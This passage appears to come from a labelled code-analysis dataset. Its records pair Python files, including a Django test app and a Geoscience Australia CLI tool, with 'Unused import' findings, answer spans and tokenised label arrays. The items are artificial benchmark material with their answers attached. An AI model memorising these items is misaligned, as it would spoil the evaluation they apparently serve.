"\\u\\u\\uNL\\u\\u\\u_", "while_", "len_", "(_", "trace_", ")_", ">_", "0_", "and_", "trace_", "[_", "0_", "]_", "._", "label", "\\u", "id_", "<_", "args_", "._", "ti", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trace_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ti", "\\u", "event_", "=_", "trace_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "ti", "\\u", "event_", ")_", "!=_", "repla", "y", "\\u", "events_", "._", "Tra", "ffic", "Inject", "ion_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Event", " ", "%", "s", " ", "with", " ", "is", " ", "not", " ", "a", " ", "Tra", "ffic", "Inject", "ion", "\"_", "%_", "str_", "(_", "ti", "\\u", "event_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pkt", "\\u", "fingerprint_", "=_", "DP", "Fingerprint", "_", "._", "from", "\\u", "pkt_", "(_", "ti", "\\u", "event_", "._", "dp", "\\u", "event_", "._", "packet_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "event_", "in_", "trace_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "type_", "(_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "t_", "in_", "dp", "\\u", "class", "\\u", "to", "\\u", "filter_", "and_", "dp", "\\u", "class", "\\u", "to", "\\u", "filter_", "[_", "t_", "]_", "(_", "event_", ",_", "pkt", "\\u", "fingerprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "field_", "in_", "default", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "field", "\\u", "formatters_", "[_", "field_", "]_", "(_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
AppScale/appscale/AppServer/lib/django-1.2/tests/regressiontests/admin_scripts/broken_app/models.py
[ { "content": "from django.db import modelz\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from django.db import modelz", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "model", "z_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1 ]
Unused import
GeoscienceAustralia/agdc/src/cli_utilities.py
[ { "content": "#!/usr/bin/env python\n\n#===============================================================================\n# Copyright (c) 2014 Geoscience Australia\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither Geoscience Australia nor the names of its contributors may be\n# used to endorse or promote products derived from this software\n# without specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#===============================================================================\n\n'''\nCommand Line Interface Utilities. Created to bridge the gap\nbetween the shell scripts that enable access to the GA-DC and\nthe underlying python API\n\n@author: Josh Vote\n'''\nimport os\nimport sys\nimport argparse\nimport logging\n\nfrom datetime import datetime, time\n\nERR_NO_ERROR = 0\nERR_BAD_PARAMS = 2\n\nfrom stacker import Stacker\n \n# Set top level standard output \nconsole_handler = logging.StreamHandler(sys.stdout)\nconsole_handler.setLevel(logging.INFO)\nconsole_formatter = logging.Formatter('%(message)s')\nconsole_handler.setFormatter(console_formatter)\n\nlogger = logging.getLogger(__name__)\nif not logger.level:\n logger.setLevel(logging.DEBUG) # Default logging level for all modules\n logger.addHandler(console_handler)\n \n \n \n\nif __name__ == '__main__': \n utilities = CLI_Utilities()\n\n command_names = [\"get_tile_indexes\", \"get_tile_paths\", \"help\"]\n arg_parser = argparse.ArgumentParser(add_help=False, description='Command Line Interface utilities for the GA-DC')\n arg_parser.add_argument('command', help='What command to use?', choices=command_names)\n \n \n args, options = arg_parser.parse_known_args()\n command = args.command\n if (command == 'help'):\n assert len(options) > 0, 'Specify a command name after help. Valid command names = ' + str(command_names)\n command = options[0]\n options = None\n \n \n if (command == 'get_tile_indexes'):\n sys.exit(utilities.command_get_tile_indexes(options))\n elif (command == 'get_tile_paths'):\n sys.exit(utilities.command_get_tile_paths(options))\n else:\n assert False, 'Unknown command: ' + command\n ", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class CLI_Utilities(Stacker):\n \n\n \n # Prints out the list of file paths for a particular temporal stack", "metadata": "root.CLI_Utilities", "header": "['module', '___EOS___']", "index": 59 }, { "content": " def __init__(self):\n Stacker.__init__(self) # Call inherited constructor", "metadata": "root.CLI_Utilities.__init__", "header": "['class', 'CLI_Utilities', '(', 'Stacker', ')', ':', '___EOS___']", "index": 61 }, { "content": " def command_get_tile_indexes(self, argsList): \n arg_parser = argparse.ArgumentParser(add_help=False, description='get_tile_indexes is used for finding the set of tile indexes that intersect the specified geometry')\n arg_parser.add_argument('--geometry_srid',dest=\"geometry_srid\", default=4326, help='An EPSG spatial reference system ID as an integer to match geometry_wkt (defaults to 4326)')\n arg_parser.add_argument('--file', nargs=\"?\", dest=\"file\", type=argparse.FileType('w'), default=sys.stdout, help=\"A file to write the results to (default is to print to stdout)\")\n arg_parser.add_argument('geometry_wkt', help='A Spatial Well Known Text string defining an area of interest') \n \n if (argsList is None):\n arg_parser.print_help()\n return ERR_BAD_PARAMS\n \n args, others = arg_parser.parse_known_args(argsList) \n \n intersectingTiles = self.get_intersecting_tiles(args.geometry_wkt, args.geometry_srid)\n for (x, y, id) in intersectingTiles:\n args.file.write('%s %s\\n' % (x, y))\n \n return ERR_NO_ERROR", "metadata": "root.CLI_Utilities.command_get_tile_indexes", "header": "['class', 'CLI_Utilities', '(', 'Stacker', ')', ':', '___EOS___']", "index": 64 }, { "content": " def command_get_tile_paths(self, argsList):\n arg_parser = argparse.ArgumentParser(add_help=False, description='get_tile_paths is used for returning the set of file paths that match a particular stacker query')\n arg_parser.add_argument('-x', '--x_index', dest='x_index', required=True, help='x-index of tile to be stacked')\n arg_parser.add_argument('-y', '--y_index', dest='y_index', required=True, help='y-index of tile to be stacked')\n arg_parser.add_argument('-s', '--start_date', dest='start_date', required=False, default=None, help='Start Date in dd/mm/yyyy format')\n arg_parser.add_argument('-e', '--end_date', dest='end_date', required=False, default=None, help='End Date in dd/mm/yyyy format')\n arg_parser.add_argument('-a', '--satellite', dest='satellite', required=False, default=None, help='Short Satellite name (e.g. LS5, LS7)')\n arg_parser.add_argument('-n', '--sensor', dest='sensor', required=False, default=None, help='Sensor Name (e.g. TM, ETM+)')\n arg_parser.add_argument('-t', '--tile_type', dest='default_tile_type_id', required=False, default=None, help='Tile type ID of tiles to be stacked')\n arg_parser.add_argument('-p', '--path', dest='path', required=False, default=None, help='WRS path of tiles to be stacked')\n arg_parser.add_argument('-r', '--row', dest='row', required=False, default=None, help='WRS row of tiles to be stacked')\n arg_parser.add_argument('-l', '--processing_level', dest='processing_level', required=False, default=None, help='The processing level to specifically request (eg NBAR, ORTHO) defaults to printing everything')\n arg_parser.add_argument('--file', nargs=\"?\", dest=\"file\", type=argparse.FileType('w'), default=sys.stdout, help=\"A file to write the results to (default is to print to stdout)\")\n \n if (argsList is None):\n arg_parser.print_help()\n return ERR_BAD_PARAMS\n \n args, others = arg_parser.parse_known_args(argsList)\n \n def date2datetime(input_date, time_offset=time.min):\n if not input_date:\n return None\n return datetime.combine(input_date, time_offset) \n \n #At this point we just reuse the stacker API for creating a stack of tiles\n stack_info_dict = self.stack_tile(x_index=int(args.x_index), \n y_index=int(args.y_index), \n stack_output_dir=None, \n start_datetime=date2datetime(args.start_date, time.min), \n end_datetime=date2datetime(args.end_date, time.max), \n satellite=args.satellite, sensor=args.sensor,\n tile_type_id=args.default_tile_type_id, \n path=args.path, \n row=args.row, \n create_band_stacks=False,\n disregard_incomplete_data=False)\n \n for processing_level in sorted(stack_info_dict.keys()):\n if args.processing_level is None or args.processing_level == processing_level:\n for start_date_time in stack_info_dict[processing_level]:\n args.file.write('%s\\n' % stack_info_dict[processing_level][start_date_time]['tile_pathname'])\n \n return ERR_NO_ERROR", "metadata": "root.CLI_Utilities.command_get_tile_paths", "header": "['class', 'CLI_Utilities', '(', 'Stacker', ')', ':', '___EOS___']", "index": 83 } ]
[ { "span": "import os", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "=========", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", " ", "2014", " ", "Geos", "cienc", "e", " ", "Aust", "ral", "ia_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyright_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyright_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Nei", "ther", " ", "Geos", "cienc", "e", " ", "Aust", "ral", "ia", " ", "nor", " ", "the", " ", "names", " ", "of", " ", "its", " ", "contributor", "s", " ", "may", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "with", "out", " ", "specific", " ", "prior", " ", "writt", "en", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"", " ", "AND_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "ARE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "=========", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "Command", " ", "Line", " ", "Interface", " ", "Utili", "ties", ".", " ", "Creat", "ed", " ", "to", " ", "bridge", " ", "the", " ", "gap", "\\", "10", ";", "bet", "ween", " ", "the", " ", "shell", " ", "scripts", " ", "tha", "t", " ", "enable", " ", "access", " ", "to", " ", "the", " ", "GA", "-", "DC", " ", "and", "\\", "10", ";", "the", " ", "underl", "ying", " ", "python", " ", "API", "\\", "10", ";", "\\", "10", ";", "@", "author", ":", " ", "Jos", "h", " ", "Vote", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", ",_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ERR", "\\u", "NO", "\\u", "ERROR_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ERR", "\\u", "BAD", "\\u", "PARAMS_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "stack", "er_", "import_", "Stack", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "top", " ", "level", " ", "standard", " ", "output", " _", "\\u\\u\\uNL\\u\\u\\u_", "console", "\\u", "handler_", "=_", "logging_", "._", "Stream", "Handler_", "(_", "sys_", "._", "stdout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "\\u", "handler_", "._", "set", "Level_", "(_", "logging_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "\\u", "formatter_", "=_", "logging_", "._", "Formatter_", "(_", "'%", "(", "message", ")", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console", "\\u", "handler_", "._", "set", "Formatter_", "(_", "console", "\\u", "formatter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "logger_", "._", "level_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "set", "Level_", "(_", "logging_", "._", "DEBUG_", ")_", "#", " ", "Default", " ", "logg", "ing", " ", "level", " ", "for", " ", "all", " ", "modules_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "add", "Handler_", "(_", "console", "\\u", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "utilities_", "=_", "CLI", "\\u", "Utilities_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "command", "\\u", "names_", "=_", "[_", "\"", "get", "\\u", "tile", "\\u", "indexe", "s", "\"_", ",_", "\"", "get", "\\u", "tile", "\\u", "path", "s", "\"_", ",_", "\"", "help", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "add", "\\u", "help_", "=_", "False_", ",_", "description_", "=_", "'", "Command", " ", "Line", " ", "Interface", " ", "util", "iti", "es", " ", "for", " ", "the", " ", "GA", "-", "DC", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "command", "'_", ",_", "help_", "=_", "'", "What", " ", "command", " ", "to", " ", "use", "?'_", ",_", "choices_", "=_", "command", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "args_", ",_", "options_", "=_", "arg", "\\u", "parser_", "._", "parse", "\\u", "know", "n", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "=_", "args_", "._", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "command_", "==_", "'", "help", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "options_", ")_", ">_", "0_", ",_", "'", "Speci", "fy", " ", "a", " ", "command", " ", "name", " ", "after", " ", "help", ".", " ", "Valid", " ", "command", " ", "names", " ", "=", " ", "'_", "+_", "str_", "(_", "command", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "command_", "=_", "options_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "command_", "==_", "'", "get", "\\u", "tile", "\\u", "indexe", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "utilities_", "._", "command", "\\u", "get", "\\u", "tile", "\\u", "indexes_", "(_", "options_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "command_", "==_", "'", "get", "\\u", "tile", "\\u", "path", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "utilities_", "._", "command", "\\u", "get", "\\u", "tile", "\\u", "paths_", "(_", "options_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", ",_", "'", "Un", "know", "n", " ", "command", ":", " ", "'_", "+_", "command_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "CLI", "\\u", "Utilities_", "(_", "Stack", "er_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Print", "s", " ", "out", " ", "the", " ", "list", " ", "of", " ", "file", " ", "path", "s", " ", "for", " ", "a", " ", "partic", "ular", " ", "tempora", "l", " ", "stack_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "CLI", "\\u", "Utilities_", "(_", "Stack", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Stack", "er_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "#", " ", "Call", " ", "inherited", " ", "constructor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CLI", "\\u", "Utilities_", "(_", "Stack", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "get", "\\u", "tile", "\\u", "indexes_", "(_", "self_", ",_", "args", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg", "\\u", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "add", "\\u", "help_", "=_", "False_", ",_", "description_", "=_", "'", "get", "\\u", "tile", "\\u", "indexe", "s", " ", "is", " ", "used", " ", "for", " ", "finding", " ", "the", " ", "set", " ", "of", " ", "tile", " ", "indexe", "s", " ", "tha", "t", " ", "intersect", " ", "the", " ", "specified", " ", "geom", "etry", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "geom", "etry", "\\u", "sri", "d", "'_", ",_", "dest_", "=_", "\"", "geom", "etry", "\\u", "sri", "d", "\"_", ",_", "default_", "=_", "432", "6_", ",_", "help_", "=_", "'", "An", " ", "EPS", "G", " ", "spat", "ial", " ", "reference", " ", "system", " ", "ID", " ", "as", " ", "an", " ", "integ", "er", " ", "to", " ", "match", " ", "geom", "etry", "\\u", "wk", "t", " ", "(", "default", "s", " ", "to", " ", "432", "6", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "file", "'_", ",_", "nargs_", "=_", "\"?\"_", ",_", "dest_", "=_", "\"", "file", "\"_", ",_", "type_", "=_", "argparse_", "._", "File", "Type_", "(_", "'", "w", "'_", ")_", ",_", "default_", "=_", "sys_", "._", "stdout_", ",_", "help_", "=_", "\"", "A", " ", "file", " ", "to", " ", "write", " ", "the", " ", "results", " ", "to", " ", "(", "default", " ", "is", " ", "to", " ", "print", " ", "to", " ", "stdout", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "geom", "etry", "\\u", "wk", "t", "'_", ",_", "help_", "=_", "'", "A", " ", "Spa", "tial", " ", "Wel", "l", " ", "Kno", "wn", " ", "Text", " ", "string", " ", "defini", "ng", " ", "an", " ", "area", " ", "of", " ", "interest", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "args", "List_", "is_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg", "\\u", "parser_", "._", "print", "\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ERR", "\\u", "BAD", "\\u", "PARAMS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 